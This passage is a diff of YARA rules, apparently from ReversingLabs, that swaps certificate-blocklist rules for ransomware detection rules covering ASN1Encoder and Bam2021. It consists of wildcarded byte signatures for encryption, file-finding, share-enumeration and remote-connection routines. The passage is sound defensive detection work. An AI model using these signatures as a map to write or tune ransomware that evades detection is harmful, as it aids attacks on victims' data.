?? ?? ?? ?? EB ?? 8D 45 ?? 50 8D 45 ?? 50 8D 45 ?? + 50 FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5B C9 C2 + } + $read_config_file = { + 55 8B EC 83 C4 ?? [0-20] 6A ?? 68 ?? ?? ?? ?? 6A + ?? (E8 | FF 15) ?? ?? ?? ?? 0B C0 75 ?? 33 C0 C9 + C3 89 45 ?? 50 6A ?? (E8 | FF 15) ?? ?? ?? ?? 0B + C0 75 04 33 C0 C9 C3 89 45 ?? FF 75 ?? 6A ?? + (E8 | FF 15) ?? ?? ?? ?? 0B C0 75 04 33 C0 C9 C3 + 89 45 ?? 50 (E8 | FF 15) ?? ?? ?? ?? 0B C0 75 04 + 33 C0 C9 C3 89 45 ?? FF 75 ?? 6A ?? (E8 | FF 15) + ?? ?? ?? ?? 0B C0 75 04 33 C0 C9 C3 89 45 ?? 8B + D8 FF 75 ?? FF 75 ?? FF 75 ?? (E8 | FF 15) ?? ?? + ?? ?? FF 75 ?? (E8 | FF 15) ?? ?? ?? ?? 8B 5D ?? + 6A ?? 53 68 ?? ?? ?? ?? (E8 | FF 15) ?? ?? ?? ?? + 83 C3 ?? 8B 45 ?? 83 (E8 | FF 15) ?? 50 53 + (E8 | FF 15) ?? ?? ?? ?? 8A 03 A2 ?? ?? ?? ?? 83 + C3 ?? 8A 03 A2 ?? ?? ?? ?? 83 C3 + } + $file_type_loop = { + 51 53 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 + ?? 75 03 59 EB ?? 53 E8 ?? ?? ?? ?? 03 D8 83 C3 + ?? 59 E2 DC [20-40] FF B5 ?? ?? ?? ?? FF B5 ?? + ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 0B C0 75 44 FF B5 ?? ?? ?? ?? FF B5 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? + ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF B5 + ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF + B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 + 0F 85 + } + $encrypt_routine = { + FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? + [0-10] E9 ?? ?? ?? ?? 6A ?? [1-10] FF 75 ?? + FF (35 | 75) [1-4] FF 75 ?? (E8 | FF 15) + ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? 68 ?? + ?? ?? ?? [1-10] FF (35 | 75) [1-4] 6A ?? + 6A ?? 6A ?? FF 35 ?? ?? ?? ?? (E8 | FF 15) ?? + ?? ?? ?? 0B C0 75 ?? (EB | E9) [1-4] 6A ?? + [2-10] FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 + ?? 75 ?? [10-40] FF (35 | 75) [1-4] FF 75 ?? + (E8 |FF 15) + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RESURS-RM OOO" and pe.signatures [ i ] . serial == "02:c5:35:19:36:ab:e4:05:ac:76:02:28:a4:03:87:e8" and 1589932801 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( $read_config_file and $file_type_loop and $encrypt_routine ) or ( $enum_drives and $enum_shared_resources and $find_files and $encrypt_files ) ) } - -rule REVERSINGLABS_Cert_Blocklist_1Ecd829Adcc55D9D6Afe30Dc371Ebda6 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Asn1Encoder : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects ASN1Encoder ransomware." author = "ReversingLabs" - id = "db9f022b-f650-5d40-ae84-4df92b0f3a96" - date = "2020-08-05" - modified = "2023-11-08" + id = "5fa361e5-4ab0-5856-92b2-6f434e33c350" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4402-L4420" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.ASN1Encoder.yara#L1-L136" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "02955f4df7deccab52cdd82fd04d5012db7440f85c87d750fa9f81ff85e2dab0" + logic_hash = "000fd846fa5f09af19ead4623bb5a8eb51cdb4c751013569bf070710d3e0d61d" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "ASN1Encoder" + tc_detection_factor = 5 importance = 25 + strings: + $remote_connection_p1 = { + 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 0F B6 + 84 34 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 2B C6 68 ?? ?? ?? ?? 03 C0 50 53 E8 ?? ?? ?? ?? + 83 C4 ?? 83 C3 ?? 46 83 FE ?? 72 ?? 8B 5C 24 ?? BE ?? ?? ?? ?? A1 ?? ?? ?? ?? 53 50 + 68 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 56 50 + E8 ?? ?? ?? ?? 33 C0 83 C4 ?? 8B F0 85 FF 74 ?? A1 ?? ?? ?? ?? 0F B6 04 06 50 B8 ?? + ?? ?? ?? 2B C6 68 ?? ?? ?? ?? 03 C0 50 53 E8 ?? ?? ?? ?? 83 C4 ?? 83 C3 ?? 46 3B F7 + 72 ?? 8B 5C 24 ?? A1 ?? ?? ?? ?? BE ?? ?? ?? ?? 53 50 68 ?? ?? ?? ?? 56 50 E8 ?? ?? + ?? ?? A1 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? + ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? C1 E8 ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 8D 94 24 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 8B FB 8B F0 0F B6 + 84 34 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 2B C6 68 ?? ?? ?? ?? 03 C0 50 57 E8 ?? ?? ?? ?? + 83 C4 ?? 83 C7 ?? 46 83 FE ?? 72 ?? A1 ?? ?? ?? ?? 53 50 68 ?? ?? ?? ?? BB ?? ?? ?? + ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 50 68 ?? ?? + ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 50 68 ?? + ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 50 68 + ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 C4 ?? 33 F6 8D 51 ?? 66 8B 01 + 83 C1 ?? 66 3B C6 75 ?? 2B CA 8B 15 ?? ?? ?? ?? D1 F9 8D 72 ?? 8A 02 42 84 C0 75 ?? + 8B 3D ?? ?? ?? ?? 2B D6 8D 04 0A 8D 34 45 ?? ?? ?? ?? 56 6A ?? FF D7 50 FF 15 ?? ?? + ?? ?? 8B D8 8D 04 36 50 6A ?? 89 5C 24 ?? FF D7 50 FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? + ?? 8B F8 FF 35 ?? ?? ?? ?? 89 7C 24 ?? 68 ?? ?? ?? ?? 56 53 E8 ?? ?? ?? ?? 33 C9 89 + } + $remote_connection_p2 = { + 44 24 ?? 83 C4 ?? 89 8C 24 ?? ?? ?? ?? 8B D9 85 C0 7E ?? 8B 44 24 ?? 0F B7 04 58 66 + 89 84 24 ?? ?? ?? ?? 83 F8 ?? 75 ?? 83 EF ?? 66 8B 47 ?? 83 C7 ?? 66 3B C1 75 ?? BE + ?? ?? ?? ?? 83 C3 ?? A5 A5 66 A5 EB ?? 8D 94 24 ?? ?? ?? ?? 8B F2 66 8B 02 83 C2 ?? + 66 3B C1 75 ?? 2B D6 83 EF ?? 66 8B 47 ?? 83 C7 ?? 66 3B C1 75 ?? 8B CA C1 E9 ?? F3 + A5 8B CA 83 E1 ?? F3 A4 33 C9 8B 7C 24 ?? 43 3B 5C 24 ?? 7C ?? FF 74 24 ?? 51 FF 15 + ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 50 FF D6 FF 35 ?? ?? ?? ?? 33 C0 50 FF 15 ?? ?? ?? ?? + 50 FF D6 8B 5C 24 ?? 53 33 DB 53 FF 15 ?? ?? ?? ?? 50 FF D6 FF 74 24 ?? 53 FF 15 ?? + ?? ?? ?? 50 FF D6 FF 74 24 ?? 53 FF 15 ?? ?? ?? ?? 50 FF D6 8B 5C 24 ?? 89 3D ?? ?? + ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 33 FF E9 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? + 83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 57 + FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? 85 C0 + 0F 84 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 8B F3 89 5C 24 ?? 8D 4E ?? 8A 06 46 84 + C0 75 ?? 8B 3D ?? ?? ?? ?? 2B F1 68 ?? ?? ?? ?? 6A ?? FF D7 50 FF 15 ?? ?? ?? ?? 89 + 44 24 ?? 85 DB 0F 84 ?? ?? ?? ?? 81 FE ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 6A ?? FF D7 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 44 24 ?? 8D 84 24 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? + ?? ?? BA ?? ?? ?? ?? C1 E8 ?? 50 E8 ?? ?? ?? ?? 59 8D 94 24 ?? ?? ?? ?? 8D 8C 24 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 8B C8 8B F8 3B FE 73 ?? 81 F9 ?? ?? ?? ?? 74 ?? FF 74 + 24 ?? 8D 84 24 ?? ?? ?? ?? 50 8D 04 1F 50 E8 + } + $encrypt_files_p1 = { + 8B CA 8D 84 24 ?? ?? ?? ?? C1 E9 ?? F3 A5 53 68 ?? ?? ?? ?? 6A ?? 53 6A ?? 8B CA 83 + E1 ?? 68 ?? ?? ?? ?? F3 A4 50 FF 15 ?? ?? ?? ?? 8B D8 33 FF 89 5C 24 ?? 89 3D ?? ?? + ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 44 + 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 83 FB ?? 74 ?? 85 DB 0F 85 ?? ?? ?? ?? 33 + F6 8D 8C 24 ?? ?? ?? ?? 8B DE E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? BE ?? ?? ?? ?? 50 + 8D 44 24 ?? 8B D6 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 8B CE E8 ?? ?? ?? ?? 33 D2 + 8D 88 ?? ?? ?? ?? 8D 81 ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? 8B 44 24 ?? C1 E8 ?? 89 + 44 24 ?? 83 C0 ?? 89 44 24 ?? 8B F0 8B C1 F7 F6 40 0F AF 44 24 ?? 50 6A ?? 89 44 24 + ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? 6A ?? FF 15 ?? ?? + ?? ?? 50 FF 15 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 89 44 24 ?? E8 ?? ?? ?? ?? 8B 54 24 ?? + 8D 44 24 ?? 83 C4 ?? 81 C2 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8D 8C 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 39 5C 24 ?? 76 ?? 8B 44 24 ?? 8D + 54 24 ?? 8B 4C 24 ?? 2B C3 3B 44 24 ?? 0F 42 F0 8D 84 24 ?? ?? ?? ?? 50 8B 44 24 ?? + 8D 0C 39 68 ?? ?? ?? ?? 03 C3 56 50 E8 ?? ?? ?? ?? 03 7C 24 ?? 83 C4 ?? 03 DE 3B 7C + 24 ?? 72 ?? 33 FF 8D 84 24 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 6A ?? 57 6A ?? 68 ?? ?? ?? + ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 5C 24 ?? 83 FB ?? 74 ?? 85 DB 74 ?? 57 8D 44 24 ?? + 89 7C 24 ?? 8B 3D ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF D7 33 F6 8D 44 + } + $encrypt_files_p2 = { + 24 ?? 56 50 FF 74 24 ?? FF 74 24 ?? 53 FF D7 33 FF 68 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 83 C4 ?? FF 74 24 ?? 57 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 50 FF D6 + FF 74 24 ?? 57 FF 15 ?? ?? ?? ?? 50 FF D6 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? + ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 6A ?? FF 15 + ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 33 F6 56 53 FF 15 ?? ?? ?? ?? 3D ?? + ?? ?? ?? 76 ?? 39 35 ?? ?? ?? ?? 75 ?? 56 53 FF 15 ?? ?? ?? ?? 56 8B F8 B8 ?? ?? ?? + ?? 56 50 53 2B F8 FF 15 ?? ?? ?? ?? 57 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? + 56 8D 8C 24 ?? ?? ?? ?? A3 ?? ?? ?? ?? 51 57 50 53 FF 15 ?? ?? ?? ?? 33 C0 50 50 50 + 53 FF 15 ?? ?? ?? ?? 33 F6 8D 84 24 ?? ?? ?? ?? 56 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 53 FF 15 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF + 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D8 6A ?? 89 5C 24 ?? FF 15 ?? + ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 50 + FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA + ?? ?? ?? ?? C1 E8 ?? 50 E8 ?? ?? ?? ?? 59 8D 94 24 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 85 C9 75 ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? + 50 FF 15 + } + $find_files = { + 53 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 35 ?? ?? ?? ?? FF D6 83 C4 ?? 53 8D 85 ?? + ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF D6 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? + ?? 50 FF 15 ?? ?? ?? ?? 8B F0 89 75 ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? + ?? ?? 33 DB B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? + 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 8B C3 EB ?? 1B C0 83 + C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 + ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 8B + C3 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? + F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 59 BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3 + A5 6A ?? 59 BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3 A5 66 A5 6A ?? 59 BE ?? ?? ?? ?? 8D + BD ?? ?? ?? ?? F3 A5 66 A5 BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? A5 A5 A5 A5 50 E8 ?? ?? + ?? ?? 59 8B F0 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? + ?? ?? 50 56 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? + 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? FF 75 ?? + 8B 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B 75 ?? E9 ?? ?? ?? ?? FF 75 ?? E9 ?? + ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 66 39 1F 0F 84 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Komp.IT" and ( pe.signatures [ i ] . serial == "00:1e:cd:82:9a:dc:c5:5d:9d:6a:fe:30:dc:37:1e:bd:a6" or pe.signatures [ i ] . serial == "1e:cd:82:9a:dc:c5:5d:9d:6a:fe:30:dc:37:1e:bd:a6" ) and 1588723200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_B0167124Ca59149E64D292Eb4B142014 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Bam2021 : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Bam2021 ransomware." author = "ReversingLabs" - id = "384ce73e-3ad5-54d9-a140-cb242f9a91e6" - date = "2020-08-05" - modified = "2023-11-08" + id = "31ae99e3-223c-51fb-97c1-353ff063057f" + date = "2021-09-17" + modified = "2021-09-17" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4422-L4440" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Bam2021.yara#L1-L167" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "10d980d4a71dab4679376f5a6d6a6999e0b59af4f25587a7b8d1ef52a7808cc9" + logic_hash = "5b717510991b78f07806e88f3dfe1c27d6ec1ec21af61a7c4f1edf7c915785d5" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Bam2021" + tc_detection_factor = 5 importance = 25 + strings: + $enum_shares = { + 83 EC ?? 53 55 8B 2D ?? ?? ?? ?? 56 57 68 ?? ?? ?? ?? FF D5 8B 74 24 ?? 6A ?? 56 C7 + 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4C 24 + ?? 8D 44 24 ?? 50 51 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 89 06 33 C0 5F 5E + 5D 5B 83 C4 ?? C2 ?? ?? 8B 54 24 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 8B F8 89 7C 24 ?? 85 + FF 75 ?? 89 06 8B 44 24 ?? 50 6A ?? 57 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 8D 4C 24 + ?? 51 57 8D 54 24 ?? 52 50 E8 ?? ?? ?? ?? 8B F0 85 F6 0F 85 ?? ?? ?? ?? 33 DB 39 5C + 24 ?? 76 ?? 8D 77 ?? 90 33 C0 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 + 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 8B 06 50 C7 44 24 ?? ?? ?? ?? ?? 89 44 24 + ?? FF D5 6A ?? 6A ?? 6A ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 3E E8 ?? ?? + ?? ?? 8B 7C 24 ?? 8B 54 24 ?? 6A ?? 6A ?? 52 E8 ?? ?? ?? ?? 8B 46 ?? 83 E0 ?? 3C ?? + 75 ?? 8B 4C 24 ?? 8B 44 24 ?? 51 8D 56 ?? 52 50 E8 ?? ?? ?? ?? 43 83 C6 ?? 3B 5C 24 + ?? 0F 82 ?? ?? ?? ?? E9 ?? ?? ?? ?? 81 FE ?? ?? ?? ?? 74 ?? 56 68 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 89 31 57 FF 15 ?? ?? ?? ?? 8B 54 24 ?? 52 E8 ?? ?? ?? + ?? 8B F0 85 F6 74 ?? 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 89 30 33 + C0 5F 5E 5D 5B 83 C4 ?? C2 + } + $find_files_p1 = { + 8D 94 24 ?? ?? ?? ?? 52 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 + ?? 0F 84 ?? ?? ?? ?? 8B 7C 24 ?? EB ?? 8D A4 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 84 24 + ?? ?? ?? ?? 8D 64 24 ?? 66 8B 10 66 3B 11 75 ?? 66 3B D5 74 ?? 66 8B 50 ?? 66 3B 51 + ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D5 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B C5 0F 84 ?? + ?? ?? ?? B9 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 90 66 8B 10 66 3B 11 75 ?? 66 3B D5 74 + ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D5 75 ?? 33 C0 EB ?? 1B C0 + 83 D8 ?? 3B C5 0F 84 ?? ?? ?? ?? F6 84 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 8C 24 + ?? ?? ?? ?? 51 BB ?? ?? ?? ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 9C 24 ?? ?? + ?? ?? 8D 74 24 ?? C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 55 8D 8C 24 + ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ?? 8B 54 24 ?? + 52 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C6 84 24 ?? ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? 89 6C 24 ?? 66 89 44 24 ?? 72 ?? 8B 4C 24 ?? 51 E8 ?? ?? ?? ?? + 83 C4 ?? 8B 54 24 ?? 8B 44 24 ?? 42 3B C2 77 ?? 8D 5C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 + ?? 8B 4C 24 ?? 8B 54 24 ?? 8D 34 0A 3B C6 77 ?? 2B F0 8B 44 24 ?? 39 2C B0 75 ?? 6A + ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 89 04 B1 8B 54 24 ?? 8B 0C B2 89 4C 24 ?? 89 + } + $find_files_p2 = { + 4C 24 ?? C6 84 24 ?? ?? ?? ?? ?? 3B CD 74 ?? 33 C0 C7 41 ?? ?? ?? ?? ?? 89 69 ?? 6A + ?? 66 89 41 ?? 55 8D 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? FF 44 + 24 ?? E9 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 73 ?? 8D 84 24 ?? + ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 51 50 68 ?? ?? ?? ?? 6A ?? 8D 94 24 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 47 ?? 50 8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ?? + ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? BE ?? ?? ?? ?? 8B 16 52 8D 84 24 ?? + ?? ?? ?? 50 FF D3 85 C0 75 ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 7C ?? E9 ?? ?? ?? ?? 57 8D + 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C0 ?? 8D 94 24 ?? ?? ?? ?? 2B D0 0F + B7 08 66 89 0C 02 83 C0 ?? 66 3B CD 75 ?? 33 C0 EB ?? 8D A4 24 ?? ?? ?? ?? 8D 49 ?? + 0F B7 8C 04 ?? ?? ?? ?? 66 89 8C 04 ?? ?? ?? ?? 83 C0 ?? 66 3B CD 75 ?? 33 C0 8D 9B + ?? ?? ?? ?? 0F B7 88 ?? ?? ?? ?? 66 89 8C 04 ?? ?? ?? ?? 83 C0 ?? 66 3B CD 75 ?? 8B + 5C 24 ?? 6A ?? B9 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 54 24 ?? 8D 8C + 24 ?? ?? ?? ?? 51 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 50 FF 15 + } + $encrypt_files_p1 = { + 55 8B EC 83 E4 ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? + ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 56 57 A1 ?? ?? ?? ?? 33 C4 50 8D 84 24 ?? ?? + ?? ?? 64 A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 DB 3B C3 75 ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 + 83 C4 ?? 3B F3 74 ?? 68 ?? ?? ?? ?? 8D 46 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 + EB ?? 33 C0 A3 ?? ?? ?? ?? 8D 4C 24 ?? 51 8B F8 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 + 24 ?? ?? ?? ?? 33 D2 53 89 9C 24 ?? ?? ?? ?? 50 66 89 94 24 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 33 C9 53 52 66 89 8C 24 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 33 C0 53 51 66 89 84 24 + ?? ?? ?? 